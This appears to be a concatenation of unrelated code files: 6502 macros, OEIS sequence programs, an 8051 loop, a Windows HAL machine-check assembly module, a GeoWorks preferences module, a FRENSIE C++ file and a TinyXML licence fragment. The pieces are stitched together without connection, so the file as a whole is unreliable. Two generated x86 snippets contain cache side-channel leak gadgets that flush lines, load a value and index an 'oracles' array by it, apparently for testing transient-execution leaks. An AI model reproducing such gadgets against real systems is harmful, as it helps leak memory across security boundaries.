sbc {2}+1
sta {1}+1
ENDM
; ==============================================================
; Macro for 16-bit addition - Add 2 to 1
; ==============================================================
MAC ADD16
clc
lda {1}
adc {2}
sta {1}
lda {1}+1
adc {2}+1
sta {1}+1
ENDM
; ==============================================================
; Macro for 16-bit negation
; ==============================================================
MAC NEGATE16
sec
lda #$00
sbc {1}
sta {1}
lda #$00
sbc {1}+1
sta {1}+1
ENDM
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1a210, %rbx
nop
nop
dec %rdx
mov $0x6162636465666768, %r9
movq %r9, (%rbx)
sub $42843, %r14
lea addresses_normal_ht+0x4aa8, %r15
nop
nop
nop
nop
add %rbp, %rbp
mov (%r15), %eax
nop
nop
nop
nop
nop
add %r15, %r15
lea addresses_UC_ht+0x1ca10, %rsi
lea addresses_WT_ht+0x95e0, %rdi
nop
and %r9, %r9
mov $58, %rcx
rep movsl
sub %rbp, %rbp
lea addresses_D_ht+0xc810, %rax
nop
nop
nop
and %r15, %r15
vmovups (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r9
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_normal_ht+0x16210, %rsi
lea addresses_UC_ht+0xb1a8, %rdi
nop
nop
nop
sub $31550, %rbp
mov $10, %rcx
rep movsl
nop
nop
nop
nop
nop
add $40099, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r14
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_D+0x6de2, %r12
clflush (%r12)
and $61688, %rbx
movb $0x51, (%r12)
nop
and %rdi, %rdi
// Store
lea addresses_PSE+0x15759, %rbx
clflush (%rbx)
nop
nop
nop
and $50500, %r12
movb $0x51, (%rbx)
nop
nop
nop
add $51528, %rdi
// Store
lea addresses_WT+0x4a10, %r11
nop
and %rbp, %rbp
movb $0x51, (%r11)
nop
nop
nop
xor $624, %r14
// Load
lea addresses_normal+0x9a90, %rbp
nop
and %r10, %r10
movups (%rbp), %xmm4
vpextrq $0, %xmm4, %rbx
nop
nop
nop
nop
and %r10, %r10
// Store
lea addresses_UC+0x16a60, %r12
nop
cmp %r14, %r14
movw $0x5152, (%r12)
nop
nop
nop
nop
nop
mfence
// Load
lea addresses_normal+0x7574, %rbx
nop
xor $9967, %r10
mov (%rbx), %r14w
nop
nop
nop
inc %rbx
// Store
lea addresses_normal+0x10a10, %r12
clflush (%r12)
nop
nop
nop
dec %rbp
mov $0x5152535455565758, %r14
movq %r14, %xmm5
and $0xffffffffffffffc0, %r12
movntdq %xmm5, (%r12)
nop
nop
add $32775, %rbx
// Load
lea addresses_UC+0xb13, %rbp
nop
nop
nop
nop
cmp %r14, %r14
mov (%rbp), %rbx
nop
and $6048, %r10
// Store
lea addresses_WC+0xce10, %r14
nop
nop
nop
nop
cmp %r10, %r10
movb $0x51, (%r14)
nop
sub $60148, %rbx
// Store
lea addresses_WT+0x11a10, %rbp
xor $47277, %r12
movb $0x51, (%rbp)
nop
nop
and $21012, %rdi
// Store
lea addresses_D+0xa110, %r14
nop
nop
nop
nop
nop
cmp $63990, %r12
mov $0x5152535455565758, %rdi
movq %rdi, (%r14)
nop
nop
nop
nop
and $15992, %rdi
// Store
lea addresses_WT+0x10510, %rdi
nop
nop
nop
add %r12, %r12
mov $0x5152535455565758, %r14
movq %r14, %xmm5
vmovups %ymm5, (%rdi)
nop
nop
nop
xor %rdi, %rdi
// REPMOV
lea addresses_WC+0x10e90, %rsi
lea addresses_PSE+0xa210, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
add %r11, %r11
mov $0, %rcx
rep movsb
sub $6860, %rbx
// Store
mov $0x8b7, %rdi
xor $2024, %rbp
movl $0x51525354, (%rdi)
nop
nop
and $62529, %rdi
// Faulty Load
lea addresses_WT+0x11a10, %rdi
xor %r11, %r11
mov (%rdi), %r12w
lea oracles, %rcx
and $0xff, %r12
shlq $12, %r12
mov (%rcx,%r12,1), %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 8, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'51': 34}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xd1c4, %r10
nop
nop
dec %r8
mov (%r10), %rax
nop
nop
nop
add %r11, %r11
lea addresses_normal_ht+0xf4a4, %r8
nop
nop
nop
nop
nop
and $26659, %r9
mov $0x6162636465666768, %rax
movq %rax, %xmm4
movups %xmm4, (%r8)
nop
nop
nop
xor $45800, %r9
lea addresses_A_ht+0x63a4, %rdx
nop
cmp $17621, %r12
mov (%rdx), %r11w
nop
nop
sub %r12, %r12
lea addresses_normal_ht+0x1b3e4, %r10
nop
nop
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm1
vmovups %ymm1, (%r10)
nop
nop
xor $39938, %rax
lea addresses_A_ht+0x111c4, %rsi
lea addresses_D_ht+0xd1c4, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp $57090, %r12
mov $43, %rcx
rep movsl
nop
nop
nop
sub $4624, %rcx
lea addresses_WC_ht+0xdb84, %rsi
lea addresses_normal_ht+0x1884, %rdi
clflush (%rdi)
nop
nop
nop
nop
and %rdx, %rdx
mov $62, %rcx
rep movsb
and $48000, %rax
lea addresses_A_ht+0x1cdc4, %r11
nop
nop
nop
nop
and %r12, %r12
mov $0x6162636465666768, %rsi
movq %rsi, %xmm2
vmovups %ymm2, (%r11)
nop
nop
nop
nop
sub $46132, %r10
lea addresses_normal_ht+0x3304, %r8
nop
add %rsi, %rsi
mov (%r8), %r12
nop
cmp $42624, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %rax
push %rdi
push %rdx
push %rsi
// Faulty Load
lea addresses_D+0x81c4, %rsi
clflush (%rsi)
nop
nop
nop
add %r14, %r14
mov (%rsi), %ax
lea oracles, %rdi
and $0xff, %rax
shlq $12, %rax
mov (%rdi,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rax
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 5, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
//---------------------------------------------------------------------------//
//!
//! \file MonteCarlo_NeutronScatteringReaction.cpp
//! \author Alex Robinson
//! \brief The neutron-in, neutron-out reaction class definition
//!
//---------------------------------------------------------------------------//
// FRENSIE Includes
#include "MonteCarlo_NeutronScatteringReaction.hpp"
#include "MonteCarlo_SimulationGeneralProperties.hpp"
#include "Utility_RandomNumberGenerator.hpp"
#include "Utility_ContractException.hpp"
namespace MonteCarlo{
// Constructor
NeutronScatteringReaction::NeutronScatteringReaction(
const NuclearReactionType reaction_type,
const double temperature,
const double q_value,
const unsigned multiplicity,
const unsigned threshold_energy_index,
const Teuchos::ArrayRCP<const double>& incoming_energy_grid,
const Teuchos::ArrayRCP<const double>& cross_section,
const Teuchos::RCP<NuclearScatteringDistribution<NeutronState,NeutronState> >&
scattering_distribution )
: NuclearReaction( reaction_type,
temperature,
q_value,
threshold_energy_index,
incoming_energy_grid,
cross_section ),
d_multiplicity( multiplicity ),
d_scattering_distribution( scattering_distribution )
{
// Make sure the multiplicity is valid
testPrecondition( multiplicity > 0 );
// Make sure the scattering distribution is valid
testPrecondition( scattering_distribution.get() != NULL );
}
// Return the number of neutrons emitted from the rxn at the given energy
unsigned NeutronScatteringReaction::getNumberOfEmittedNeutrons(
const double energy ) const
{
return d_multiplicity;
}
// Simulate the reaction
void NeutronScatteringReaction::react( NeutronState& neutron,
ParticleBank& bank ) const
{
neutron.incrementCollisionNumber();
// There should always be at least one outgoing neutron (>= 0 additional)
unsigned num_additional_neutrons =
this->getNumberOfEmittedNeutrons( neutron.getEnergy() ) - 1u;
// Create the additional neutrons (multiplicity - 1)
for( unsigned i = 0; i < num_additional_neutrons; ++i )
{
Teuchos::RCP<NeutronState> new_neutron(
new NeutronState( neutron, true, false ) );
d_scattering_distribution->scatterParticle( *new_neutron,
this->getTemperature() );
// Add the new neutron to the bank
bank.push( new_neutron, this->getReactionType() );
}
// Scatter the "original" neutron
d_scattering_distribution->scatterParticle( neutron,
this->getTemperature() );
}
} // end MonteCarlo namespace
//---------------------------------------------------------------------------//
// end MonteCarlo_NeutronScatteringReaction.cpp
//---------------------------------------------------------------------------//
|
; A082528: Least k such that x(k)=0 where x(1)=n x(k)=k^3*floor(x(k-1)/k^3).
; 1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
mov $2,3
mov $3,2
lpb $3,1
add $0,$2
sub $0,1
mov $4,$0
sub $4,1
mov $0,$4
sub $0,1
sub $3,2
mov $5,8
lpb $0,1
div $0,$5
mul $0,2
add $1,6
sub $5,1
lpe
lpe
div $1,6
add $1,1
|
START:
CPL C
SJMP START |
;++
;Module Name
; imca.asm
;
;Abstract:
; Assembly support needed for Intel MCA
;
; Author:
; Anil Aggarwal (Intel Corp)
;
;Revision History:
;
;
;--
.586p
.xlist
include hal386.inc
include callconv.inc
include i386\kimacro.inc
.list
EXTRNP _HalpMcaExceptionHandler,0
EXTRNP _KeBugCheckEx,5,IMPORT
KGDT_MCA_TSS EQU 0A0H
MINIMUM_TSS_SIZE EQU TssIoMaps
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; TEXT Segment
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_TEXT SEGMENT PARA PUBLIC 'CODE'
ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.586p
;++
;
;VOID
;HalpSerialize(
; VOID
; )
;
; Routine Description:
; This function implements the fence operation for out-of-order execution
;
; Arguments:
; None
;
; Return Value:
; None
;
;--
cPublicProc _HalpSerialize,0
push ebx
xor eax, eax
cpuid
pop ebx
stdRET _HalpSerialize
stdENDP _HalpSerialize
;++
;
; Routine Description:
;
; Machine Check exception handler
;
;
; Arguments:
;
; Return value:
;
; If the error is non-restartable, we will bugcheck.
; Otherwise, we just return
;
;--
ASSUME DS:NOTHING, SS:NOTHING, ES:NOTHING
align dword
public _HalpMcaExceptionHandlerWrapper
_HalpMcaExceptionHandlerWrapper proc
.FPO (0, 0, 0, 0, 0, 2)
cli
;
; Set CR3, the I/O map base address, and LDT segment selector
; in the old TSS since they are not set on context
; switches. These values will be needed to return to the
; interrupted task.
mov eax, PCR[PcTss] ; get old TSS address
mov ecx, PCR[PcPrcbData+PbCurrentThread] ; get thread address
mov edi, [ecx].ThApcState.AsProcess ; get process address
mov ecx, [edi]+PrDirectoryTableBase ; get directory base
mov [eax]+TssCR3, ecx ; set previous cr3
mov cx, [edi]+PrIopmOffset ; get IOPM offset
mov [eax]+TssIoMapBase, cx ; set IOPM offset
mov ecx, [edi]+PrLdtDescriptor ; get LDT descriptor
test ecx, ecx ; does task use LDT?
jz @f
mov cx, KGDT_LDT
@@: mov [eax]+TssLDT, cx ; set LDT into old TSS
;
; Update the TSS pointer in the PCR to point to the MCA TSS
; (which is what we're running on, or else we wouldn't be here)
;
push dword ptr PCR[PcTss]
mov eax, PCR[PcGdt]
mov ch, [eax+KGDT_MCA_TSS+KgdtBaseHi]
mov cl, [eax+KGDT_MCA_TSS+KgdtBaseMid]
shl ecx, 16
mov cx, [eax+KGDT_MCA_TSS+KgdtBaseLow]
mov PCR[PcTss], ecx
;
; Clear Nested Task bit in EFLAGS
;
pushfd
and [esp], not 04000h
popfd
;
; Clear the busy bit in the TSS selector
;
mov ecx, PCR[PcGdt]
lea eax, [ecx] + KGDT_MCA_TSS
mov byte ptr [eax+5], 089h ; 32bit, dpl=0, present, TSS32, not busy
;
; Check if there is a bugcheck-able error. If need to bugcheck, the
; caller does it.
;
stdCall _HalpMcaExceptionHandler
;
; We're back which means that the error was restartable.
;
pop dword ptr PCR[PcTss] ; restore PcTss
mov ecx, PCR[PcGdt]
lea eax, [ecx] + KGDT_TSS
mov byte ptr [eax+5], 08bh ; 32bit, dpl=0, present, TSS32, *busy*
pushfd ; Set Nested Task bit in EFLAGS
or [esp], 04000h ; so iretd will do a tast switch
popfd
iretd ; Return from MCA Exception handler
jmp _HalpMcaExceptionHandlerWrapper
; For next Machine check exception
_HalpMcaExceptionHandlerWrapper endp
_TEXT ends
INIT SEGMENT DWORD PUBLIC 'CODE'
;++
;VOID
;HalpMcaCurrentProcessorSetTSS(
; IN PULONG pTSS // MCE TSS area for this processor
; )
; Routine Description:
; This function sets up the TSS for MCA exception 18
;
; Arguments:
; pTSS : Pointer to the TSS to be used for MCE
;
; Return Value:
; None
;
;--
cPublicProc _HalpMcaCurrentProcessorSetTSS,1
;
; Edit IDT Entry for MCA Exception (18) to contain a task gate
;
mov ecx, PCR[PcIdt] ; Get IDT address
lea eax, [ecx] + 090h ; MCA Exception is 18
mov byte ptr [eax + 5], 085h ; P=1,DPL=0,Type=5
mov word ptr [eax + 2], KGDT_MCA_TSS ; TSS Segment Selector
mov edx, [esp+4] ; the address of TSS in edx
;
; Set various fields in TSS
;
mov eax, cr3
mov [edx + TssCR3], eax
;
; Get double fault stack address
;
lea eax, [ecx] + 040h ; DF Exception is 8
;
; Get to TSS Descriptor of double fault handler TSS
;
xor ecx, ecx
mov cx, word ptr [eax+2]
add ecx, PCR[PcGdt]
;
; Get the address of TSS from this TSS Descriptor
;
mov ah, [ecx+KgdtBaseHi]
mov al, [ecx+KgdtBaseMid]
shl eax, 16
mov ax, [ecx+KgdtBaseLow]
;
; Get ESP from DF TSS
;
mov ecx, [eax+038h]
;
; Set address of MCA Exception stack to double fault stack address
;
mov dword ptr [edx+038h], ecx ; Set ESP
mov dword ptr [edx+TssEsp0], ecx ; Set ESP0
mov dword ptr [edx+020h], offset FLAT:_HalpMcaExceptionHandlerWrapper ; set EIP
mov dword ptr [edx+024h], 0 ; set EFLAGS
mov word ptr [edx+04ch],KGDT_R0_CODE ; set value for CS
mov word ptr [edx+058h],KGDT_R0_PCR ; set value for FS
mov [edx+050h], ss
mov word ptr [edx+048h],KGDT_R3_DATA OR RPL_MASK ; Es
mov word ptr [edx+054h],KGDT_R3_DATA OR RPL_MASK ; Ds
;
; Part that gets done in KiInitialiazeTSS()
;
mov word ptr [edx + 08], KGDT_R0_DATA ; Set SS0
mov word ptr [edx + 060h],0 ; Set LDT
mov word ptr [edx + 064h],0 ; Set T bit
mov word ptr [edx + 066h],020adh ; I/O Map base address = sizeof(KTSS)+1
;
; Edit GDT entry for KGDT_MCA_TSS to create a valid TSS Descriptor
;
mov ecx, PCR[PcGdt] ; Get GDT address
lea eax, [ecx] + KGDT_MCA_TSS ; offset of MCA TSS in GDT
mov ecx, eax
;
; Set Type field of TSS Descriptor
;
mov byte ptr [ecx + 5], 089H ; P=1, DPL=0, Type = 9
;
; Set Base Address field of TSS Descriptor
;
mov eax, edx ; TSS address in eax
mov [ecx + KgdtBaseLow], ax
shr eax, 16
mov [ecx + KgdtBaseHi],ah
mov [ecx + KgdtBaseMid],al
;
; Set Segment limit for TSS Descriptor
;
mov eax, MINIMUM_TSS_SIZE
mov [ecx + KgdtLimitLow],ax
stdRET _HalpMcaCurrentProcessorSetTSS
stdENDP _HalpMcaCurrentProcessorSetTSS
INIT ends
PAGELK SEGMENT DWORD PUBLIC 'CODE'
;++
;
;VOID
;HalpSetCr4MCEBit(
; VOID
; )
;
; Routine Description:
; This function sets the CR4.MCE bit
;
; Arguments:
; None
;
; Return Value:
; None
;
;--
cPublicProc _HalpSetCr4MCEBit,0
mov eax, cr4
or eax, CR4_MCE
mov cr4, eax
stdRET _HalpSetCr4MCEBit
stdENDP _HalpSetCr4MCEBit
PAGELK ends
end
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: Preferences
MODULE: Link
FILE: prefLink.asm
AUTHOR: Chris Boyke
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 3/8/92 Initial Version
DESCRIPTION:
$Id: prefts.asm,v 1.1 97/04/05 01:28:35 newdeal Exp $
-----------------------------------------------------------------------------@
;------------------------------------------------------------------------------
; Common GEODE stuff
;------------------------------------------------------------------------------
include geos.def
include heap.def
include geode.def
include resource.def
include ec.def
include library.def
include object.def
include graphics.def
include gstring.def
include win.def
include char.def
;-----------------------------------------------------------------------------
; Libraries used
;-----------------------------------------------------------------------------
UseLib ui.def
UseLib config.def
;-----------------------------------------------------------------------------
; DEF FILES
;-----------------------------------------------------------------------------
include prefts.def
include prefts.rdef
;-----------------------------------------------------------------------------
; CODE
;-----------------------------------------------------------------------------
PrefTSCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefTSGetPrefUITree
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return the root of the UI tree for "Preferences"
CALLED BY: PrefMgr
PASS: nothing
RETURN: dx:ax - OD of root of tree
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 3/27/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefTSGetPrefUITree proc far
mov dx, handle PrefTSRoot
mov ax, offset PrefTSRoot
ret
PrefTSGetPrefUITree endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefTSGetModuleInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fill in the PrefModuleInfo buffer so that PrefMgr
can decide whether to show this button
CALLED BY: PrefMgr
PASS: ds:si - PrefModuleInfo structure to be filled in
RETURN: ds:si - buffer filled in
DESTROYED: ax,bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 10/26/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefTSGetModuleInfo proc far
.enter
clr ax
mov ds:[si].PMI_requiredFeatures, mask PMF_HARDWARE
mov ds:[si].PMI_prohibitedFeatures, ax
mov ds:[si].PMI_minLevel, ax
mov ds:[si].PMI_maxLevel, UIInterfaceLevel-1
mov ds:[si].PMI_monikerList.handle, handle TSMonikerList
mov ds:[si].PMI_monikerList.offset, offset TSMonikerList
mov {word} ds:[si].PMI_monikerToken, 'P' or ('F' shl 8)
mov {word} ds:[si].PMI_monikerToken+2, 'T' or ('S' shl 8)
mov {word} ds:[si].PMI_monikerToken+4, MANUFACTURER_ID_APP_LOCAL
.leave
ret
PrefTSGetModuleInfo endp
PrefTSCode ends
|
; A304274: The concatenation of the first n elements is the largest positive even number with n digits when written in base 3/2.
; 2,1,2,2,1,1,1,2,2,1,2,1,1,2,2,1,2,1,2,1,1,2,2,1,2,1,1,2,1,2,1,1,1,1,1,2,2,1,2,1,1,1,1,1,1,1,2,1,2,2,2,2,2,1,1,2,2,1,2,1,2,2,1,2,1,2,1,1,2,1,1,2,2,2,2,1,2,2,1,2,2,2,2,2,2,1,2,1,1,1,1,1,2,2,1,2,2,1,2,1
lpb $0
sub $0,1
div $1,2
mul $1,3
add $1,3
lpe
add $1,1
mod $1,2
add $1,1
mov $0,$1
|
/*
www.sourceforge.net/projects/tinyxml
Original code (2.0 and earlier )copyright (c) 2000-2006 Lee Thomason (www.grinninglizard.com)
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any
damages arising from the use of this software.
